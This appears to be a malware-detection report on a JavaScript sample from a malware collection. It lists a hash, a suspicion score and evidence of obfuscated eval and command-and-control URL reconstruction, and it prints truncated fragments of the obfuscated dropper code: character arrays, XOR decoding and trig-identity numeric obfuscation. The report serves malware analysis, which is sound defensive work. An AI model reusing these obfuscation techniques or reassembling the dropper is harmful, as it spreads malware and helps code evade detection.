Suspicious ^80% javascript-malware-collection Download

20151217_468937e0eb5129ce53ef6c12dc85a6ea.js

obfuscated eval, C2 reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256690f89490fc8e4d26f91c0ab8d7bbccae809e0f83a374a3afb07982306a34111

Evidence

0x3f hex byte token line 1

1fOSHYSAA=[0x3,0x6,0xc,0x12,0x16,0x1a,0x1f,0x25,0x28,0x31,0x32,0x3a,0x3f,0x42,0x49,0x4c,0x52,0x57,0x5d,0x60,0x64,0x6a,0x72,0x76,0x7c,0x7e,0x82,0x87,0x8c,0x92,0x96,0x9b,0xa2,0xa6,0xae,0xaf,0xb5,0xbc,0x …

Builds characters with String.fromCharCode line 2

2:146… '(','H','U',']','S','S','7',':','@','C','y','-','N','L','k','W',String.fromCharCode(10),'?','7','Z','>','Q','6','Q','Y','f','0','>','!','V','9','w',String.fromCharCode(13),'O','g','m',' ','#','v','X','W','1','0' …

XOR URL reconstruction call line 2

2:1858… 'Y','6',',','&','9','*','E','Z','L','[',',','Z',')','1','9','z',String.fromCharCode(92),'C',']','O',']','f','R','+','e','^','S',']','R','d','{','>','_','P','x','b','D','`','k','K','z','m','a','b','c','4','W','1','c','{','-','(','m','<','d','m','j',') …

Dense indexed short-token grid lines 12–13

12:33… MtkNJRn,qvKsSEegExv) {yUPmFSbKawDEuQ[hLQUyUMtkNJRn]=qvKsSEegExv;}
13var t = new Array();t[0]=[];t[0][0]='d';t[0][1]='a';t[0][2]='d';t[0][3]='a';t[0][4]='46';t[0][5]='3d';t[0][6]='42';t[0][7]='14';t[0][8]='3h';t[0][9]='14';t[0][10]='25';t[0][11]='14';t[0][12]='16';t[0][13]='47';t[0][14]='3k';t[0][15]='3d';t[0][16]='44';t[0][17]='3g';t[0][18]='3l';t[0][19]='3g';t[0][20]='49';t[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],t[4],t[5]];
20var lpGmfbnCb=[];
21function twXRAQqfkiuQWAdis(rCLIU){LQoxodhieSE= '';AmHwZtztTYR=Math.round((Math.pow(Math.sin(609), 2) + Math.pow(Math.cos(609), 2) - 1));while(true){if (AmHwZtztTYR >= (3396+102)/583){break;}lpGmfbnCb[AmHwZtztTYR]=Math.round((Math.pow(Math.sin(270), 2) + Math.pow(Math.cos(270), 2) - 1)); while(true) { if(lpGmfbnCb[AmHwZtztTYR] > rCLIU[AmHwZtztTYR].length-(-182+555)/373) { break; } if (YnfdmFD(fbouN(rCLIU[AmHwZtztTYR][lpGmfbnCb[AmHwZtztTYR]],(2856+952)/136,(673+457)/113))) {LQoxodhieSE += ovKeHDdZyGjlqOMtDPhKUOJTAWfRIgdgylzXjJRdSJtNqzaiPpxtmd([rCLIU[AmHwZtztTYR][lpGmfbnCb[AmHwZtztTYR]]], Math.round((Math.pow(Math.sin(132), 2) + Math.pow(Math.cos(132), 2) - 1)));} lpGmfbnCb[AmHwZtztTYR]++;}AmHwZtztTYR++;} return LQoxodhieSE}
22var fPZLAQIxDsDGusWPMeyOWPpmCCyGSvYUU = 'qcaFJLHAfFENHehdtgqfpnAKAdmFRUUCEOyk';var fmBGNpSHPGfqfDTquJnWhIELiePFouOw = 'aoHOUHhPrgDKkIrUAEjQuMFDLzatyPPHPNer';ByqfTtGOagDdbBD(twXRAQqfkiuQWAdis(rCLIU),fPZLAQIxDsDGusWPMeyOWPpmCCyGSvYUU,fmBGNpSHPGfqfDTquJnWhIELiePFouOw);